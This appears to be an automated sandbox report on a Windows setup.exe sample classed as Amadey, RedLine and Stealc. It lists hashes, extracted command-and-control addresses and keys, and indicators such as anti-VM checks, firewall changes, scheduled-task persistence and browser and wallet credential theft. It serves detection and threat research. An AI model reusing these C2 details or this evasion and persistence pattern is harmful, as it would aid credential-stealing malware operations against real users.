amadey | fecffd8f6cdd8ad950507bebbb23a146ec5252e35be146840ded98dff189cf12

Analysis

max time kernel
104s
max time network
155s
platform
windows11-21h2_x64
resource
win11-20240709-en
resource tags

arch:x64arch:x86image:win11-20240709-enlocale:en-usos:windows11-21h2-x64system
submitted
10/07/2024, 10:00

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1720605557.036432_setup.exe
Size

4.6MB
MD5

9e575ff2f94976a6e73a0a219bbf2495
SHA1

426e0a6231d75e6bd9be1abd8a25104f162f0a2a
SHA256

fecffd8f6cdd8ad950507bebbb23a146ec5252e35be146840ded98dff189cf12
SHA512

97c59f9977ace5e6612023f1f43fb6aa2d1a6a3c507a89b03d452b1688277665d91294c084fb786a83743f98899a8d76ec30bb235163a7d688d8bed25ed5b09e
SSDEEP

98304:YdJFj+HRyphoM7jEYB2aqAcpL/3Pq2EMA2TaZjpGLX:YdJFuRUEK235pL/fqiupG

Score

10^/10

amadey redline stealc 4dd39d hate logsdiller cloud (tg: @logsdillabot)discovery evasion execution infostealer persistence spyware stealer trojan

Malware Config

Extracted

Family

redline

Botnet

LogsDiller Cloud (TG: @logsdillabot)

77.105.135.107:3445

Extracted

Family

stealc

Botnet

hate

http://85.28.47.30

Attributes

url_path
/920475a59bac849d.php

Extracted

Family

amadey

Version

4.30

Botnet

4dd39d

http://77.91.77.82

Attributes

install_dir
ad40971b6b
install_file
explorti.exe
strings_key
a434973ad22def7137dbb5e059b7081e
url_paths
/Hun4Ko/index.php

rc4.plain

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey

Modifies firewall policy service 3 TTPs 1 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\C:\ = "1"	1720605557.036432_setup.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 1 IoCs

resource	yara_rule
behavioral2/memory/1204-272-0x0000000000400000-0x0000000000450000-memory.dmp	family_redline

Stealc
Stealc is an infostealer written in C++.
stealer stealc

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 3540 created 3200	3540	Valve.pif	52

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	JJECGHJDBF.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explorti.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explorti.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
138	2916	4b73a74daa.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3836	powershell.exe
1744	powershell.exe
6088	powershell.EXE
4652	powershell.exe
5920	powershell.EXE
4264	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Downloads MZ/PE file
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks BIOS information in registry 2 TTPs 8 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	JJECGHJDBF.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	JJECGHJDBF.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explorti.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explorti.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explorti.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explorti.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CyberPanther.url	cmd.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CyberPanther.url	cmd.exe

Executes dropped EXE 32 IoCs

pid	Process
3628	nYjBiSVioIWDNTBbAEmUiBjF.exe
4776	sMgZ3T1ftAVEv4UxD9q_z1VK.exe
2452	BJpSgqSFEMDXp8qiuAMMbfbu.exe
476	q0jFWtem7x2Y4ubSDKO_r8YI.exe
1224	ZbE8U7fr8h45J1j3o6og39MY.exe
3484	atTudFsCBPPU2s6Cn1IawDTU.exe
1948	BsQdlvtIRvJWeS3WXcDlBoky.exe
632	NyhN8IPv9yRvr3vsGDwZElJI.exe
4860	Jfc1KXOMnrDi90ooQwcfMsIl.exe
3860	ZX2ACPFUGGv2YNDskqgiYFV7.exe
920	iUMPVdKVceNF4QyONa5DvXjr.exe
2592	efvbkRpYcYy7qA2xtzulQ1PU.exe
2392	9flujC1swHcJXl2m3Z216fx6.exe
2248	Jfc1KXOMnrDi90ooQwcfMsIl.tmp
4324	Install.exe
4900	Install.exe
3856	audioshell.exe
1028	Install.exe
3432	Install.exe
2160	audioshell.exe
2448	JJECGHJDBF.exe
3860	explorti.exe
3540	Valve.pif
4416	eqtpkqwqodik.exe
2916	4b73a74daa.exe
3556	a7199cafc6.exe
1176	explorti.exe
2028	Install.exe
1936	Install.exe
2460	IJKFHIIEHI.exe
5952	DAFCAAEGDB.exe
4732	WmrNugz.exe

Identifies Wine through registry keys 2 TTPs 3 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000\Software\Wine	explorti.exe
Key opened	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000\Software\Wine	JJECGHJDBF.exe
Key opened	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000\Software\Wine	explorti.exe

Loads dropped DLL 7 IoCs

pid	Process
2248	Jfc1KXOMnrDi90ooQwcfMsIl.tmp
1948	BsQdlvtIRvJWeS3WXcDlBoky.exe
1948	BsQdlvtIRvJWeS3WXcDlBoky.exe
4636	MSBuild.exe
4636	MSBuild.exe
4836	MSBuild.exe
4836	MSBuild.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
63	iplogger.org
86	iplogger.org

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	api.myip.com
2	ipinfo.io
3	api.myip.com
10	ipinfo.io

Power Settings 1 TTPs 8 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
536	powercfg.exe
2516	powercfg.exe
1776	powercfg.exe
1448	powercfg.exe
2636	powercfg.exe
2276	powercfg.exe
1204	powercfg.exe
4712	powercfg.exe

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral2/files/0x000300000002abaf-791.dat	autoit_exe

Drops file in System32 directory 15 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\GroupPolicy\GPT.INI	1720605557.036432_setup.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	Install.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	WmrNugz.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\System32\GroupPolicy\Machine\Registry.pol	1720605557.036432_setup.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5	WmrNugz.exe
File opened for modification	C:\Windows\System32\GroupPolicy\gpt.ini	1720605557.036432_setup.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	WmrNugz.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	WmrNugz.exe
File opened for modification	C:\Windows\System32\GroupPolicy	1720605557.036432_setup.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs

pid	Process
1948	BsQdlvtIRvJWeS3WXcDlBoky.exe
1948	BsQdlvtIRvJWeS3WXcDlBoky.exe
2448	JJECGHJDBF.exe
3860	explorti.exe
2916	4b73a74daa.exe
1176	explorti.exe

Suspicious use of SetThreadContext 10 IoCs

description	pid	Process	procid_target
PID 4776 set thread context of 1204	4776	sMgZ3T1ftAVEv4UxD9q_z1VK.exe	105
PID 1224 set thread context of 3540	1224	ZbE8U7fr8h45J1j3o6og39MY.exe	106
PID 920 set thread context of 4636	920	iUMPVdKVceNF4QyONa5DvXjr.exe	113
PID 2452 set thread context of 4836	2452	BJpSgqSFEMDXp8qiuAMMbfbu.exe	116
PID 3628 set thread context of 1436	3628	nYjBiSVioIWDNTBbAEmUiBjF.exe	123
PID 2392 set thread context of 1960	2392	9flujC1swHcJXl2m3Z216fx6.exe	133
PID 4416 set thread context of 2008	4416	eqtpkqwqodik.exe	180
PID 4416 set thread context of 4956	4416	eqtpkqwqodik.exe	181
PID 2460 set thread context of 5956	2460	IJKFHIIEHI.exe	270
PID 5952 set thread context of 312	5952	DAFCAAEGDB.exe	272

Drops file in Program Files directory 6 IoCs

description	ioc	Process
File created	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	WmrNugz.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	WmrNugz.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	WmrNugz.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	WmrNugz.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja	WmrNugz.exe
File created	C:\Program Files (x86)\rZPMEzngU\SnPSsw.dll	WmrNugz.exe

Drops file in Windows directory 5 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\NEaCSBqXysBCPlvqA.job	schtasks.exe
File created	C:\Windows\Tasks\ddAsdXfMPNFuAfl.job	schtasks.exe
File created	C:\Windows\Tasks\blQxnfAaNNFZMWpemd.job	schtasks.exe
File created	C:\Windows\Tasks\bMfeDuSmKBAGoOfQBS.job	schtasks.exe
File created	C:\Windows\Tasks\explorti.job	JJECGHJDBF.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2216	sc.exe
1944	sc.exe
4024	sc.exe
2020	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 8 IoCs

pid	pid_target	Process	procid_target
3664	1224	WerFault.exe	99
2072	3860	WerFault.exe	97
1472	1936	WerFault.exe	189
2192	2028	WerFault.exe	188
5504	1028	WerFault.exe	118
6120	4732	WerFault.exe	285
5892	3432	WerFault.exe	114
5672	5344	WerFault.exe	383

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	ZX2ACPFUGGv2YNDskqgiYFV7.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	ZX2ACPFUGGv2YNDskqgiYFV7.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	ZX2ACPFUGGv2YNDskqgiYFV7.exe

Checks processor information in registry 2 TTPs 14 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	BsQdlvtIRvJWeS3WXcDlBoky.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	MSBuild.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	BsQdlvtIRvJWeS3WXcDlBoky.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	MSBuild.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe

Delays execution with timeout.exe 3 IoCs

evasion

pid	Process
3140	timeout.exe
3732	timeout.exe
4252	timeout.exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

Process Discovery

T1057

pid	Process
4604	tasklist.exe
4924	tasklist.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	WmrNugz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	WmrNugz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer	Install.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings	firefox.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 21 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4672	schtasks.exe
5940	schtasks.exe
3992	schtasks.exe
6068	schtasks.exe
5312	schtasks.exe
2100	schtasks.exe
5440	schtasks.exe
2344	schtasks.exe
1752	schtasks.exe
5044	schtasks.exe
5376	schtasks.exe
2916	schtasks.exe
1824	schtasks.exe
1148	schtasks.exe
1312	schtasks.exe
4540	schtasks.exe
5460	schtasks.exe
5932	schtasks.exe
5944	schtasks.exe
5180	schtasks.exe
5124	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3220	1720605557.036432_setup.exe
3220	1720605557.036432_setup.exe
1948	BsQdlvtIRvJWeS3WXcDlBoky.exe
1948	BsQdlvtIRvJWeS3WXcDlBoky.exe
2592	efvbkRpYcYy7qA2xtzulQ1PU.exe
2592	efvbkRpYcYy7qA2xtzulQ1PU.exe
4636	MSBuild.exe
4636	MSBuild.exe
3836	powershell.exe
3836	powershell.exe
1744	powershell.exe
1744	powershell.exe
3836	powershell.exe
1948	BsQdlvtIRvJWeS3WXcDlBoky.exe
1948	BsQdlvtIRvJWeS3WXcDlBoky.exe
1744	powershell.exe
1204	RegAsm.exe
1204	RegAsm.exe
4636	MSBuild.exe
4636	MSBuild.exe
2448	JJECGHJDBF.exe
2448	JJECGHJDBF.exe
1204	RegAsm.exe
1204	RegAsm.exe
1204	RegAsm.exe
1204	RegAsm.exe
3860	explorti.exe
3860	explorti.exe
3540	Valve.pif
3540	Valve.pif
3540	Valve.pif
3540	Valve.pif
3540	Valve.pif
3540	Valve.pif
3540	Valve.pif
3540	Valve.pif
3540	Valve.pif
3540	Valve.pif
3540	Valve.pif
3540	Valve.pif
3540	Valve.pif
3540	Valve.pif
3540	Valve.pif
3540	Valve.pif
3540	Valve.pif
3540	Valve.pif
3540	Valve.pif
3540	Valve.pif
3540	Valve.pif
3540	Valve.pif
3540	Valve.pif
3540	Valve.pif
3540	Valve.pif
3540	Valve.pif
3540	Valve.pif
3540	Valve.pif
3540	Valve.pif
3540	Valve.pif
3540	Valve.pif
3540	Valve.pif
3540	Valve.pif
3540	Valve.pif
3540	Valve.pif
3540	Valve.pif

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	920	iUMPVdKVceNF4QyONa5DvXjr.exe
Token: SeDebugPrivilege	2452	BJpSgqSFEMDXp8qiuAMMbfbu.exe
Token: SeDebugPrivilege	3540	RegAsm.exe
Token: SeBackupPrivilege	3540	RegAsm.exe
Token: SeSecurityPrivilege	3540	RegAsm.exe
Token: SeSecurityPrivilege	3540	RegAsm.exe
Token: SeSecurityPrivilege	3540	RegAsm.exe
Token: SeSecurityPrivilege	3540	RegAsm.exe
Token: SeDebugPrivilege	3836	powershell.exe
Token: SeDebugPrivilege	1744	powershell.exe
Token: SeIncreaseQuotaPrivilege	3560	WMIC.exe
Token: SeSecurityPrivilege	3560	WMIC.exe
Token: SeTakeOwnershipPrivilege	3560	WMIC.exe
Token: SeLoadDriverPrivilege	3560	WMIC.exe
Token: SeSystemProfilePrivilege	3560	WMIC.exe
Token: SeSystemtimePrivilege	3560	WMIC.exe
Token: SeProfSingleProcessPrivilege	3560	WMIC.exe
Token: SeIncBasePriorityPrivilege	3560	WMIC.exe
Token: SeCreatePagefilePrivilege	3560	WMIC.exe
Token: SeBackupPrivilege	3560	WMIC.exe
Token: SeRestorePrivilege	3560	WMIC.exe
Token: SeShutdownPrivilege	3560	WMIC.exe
Token: SeDebugPrivilege	3560	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3560	WMIC.exe
Token: SeRemoteShutdownPrivilege	3560	WMIC.exe
Token: SeUndockPrivilege	3560	WMIC.exe
Token: SeManageVolumePrivilege	3560	WMIC.exe
Token: 33	3560	WMIC.exe
Token: 34	3560	WMIC.exe
Token: 35	3560	WMIC.exe
Token: 36	3560	WMIC.exe
Token: SeDebugPrivilege	1204	RegAsm.exe
Token: SeIncreaseQuotaPrivilege	3560	WMIC.exe
Token: SeSecurityPrivilege	3560	WMIC.exe
Token: SeTakeOwnershipPrivilege	3560	WMIC.exe
Token: SeLoadDriverPrivilege	3560	WMIC.exe
Token: SeSystemProfilePrivilege	3560	WMIC.exe
Token: SeSystemtimePrivilege	3560	WMIC.exe
Token: SeProfSingleProcessPrivilege	3560	WMIC.exe
Token: SeIncBasePriorityPrivilege	3560	WMIC.exe
Token: SeCreatePagefilePrivilege	3560	WMIC.exe
Token: SeBackupPrivilege	3560	WMIC.exe
Token: SeRestorePrivilege	3560	WMIC.exe
Token: SeShutdownPrivilege	3560	WMIC.exe
Token: SeDebugPrivilege	3560	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3560	WMIC.exe
Token: SeRemoteShutdownPrivilege	3560	WMIC.exe
Token: SeUndockPrivilege	3560	WMIC.exe
Token: SeManageVolumePrivilege	3560	WMIC.exe
Token: 33	3560	WMIC.exe
Token: 34	3560	WMIC.exe
Token: 35	3560	WMIC.exe
Token: 36	3560	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2320	WMIC.exe
Token: SeSecurityPrivilege	2320	WMIC.exe
Token: SeTakeOwnershipPrivilege	2320	WMIC.exe
Token: SeLoadDriverPrivilege	2320	WMIC.exe
Token: SeSystemProfilePrivilege	2320	WMIC.exe
Token: SeSystemtimePrivilege	2320	WMIC.exe
Token: SeProfSingleProcessPrivilege	2320	WMIC.exe
Token: SeIncBasePriorityPrivilege	2320	WMIC.exe
Token: SeCreatePagefilePrivilege	2320	WMIC.exe
Token: SeBackupPrivilege	2320	WMIC.exe
Token: SeRestorePrivilege	2320	WMIC.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
2248	Jfc1KXOMnrDi90ooQwcfMsIl.tmp
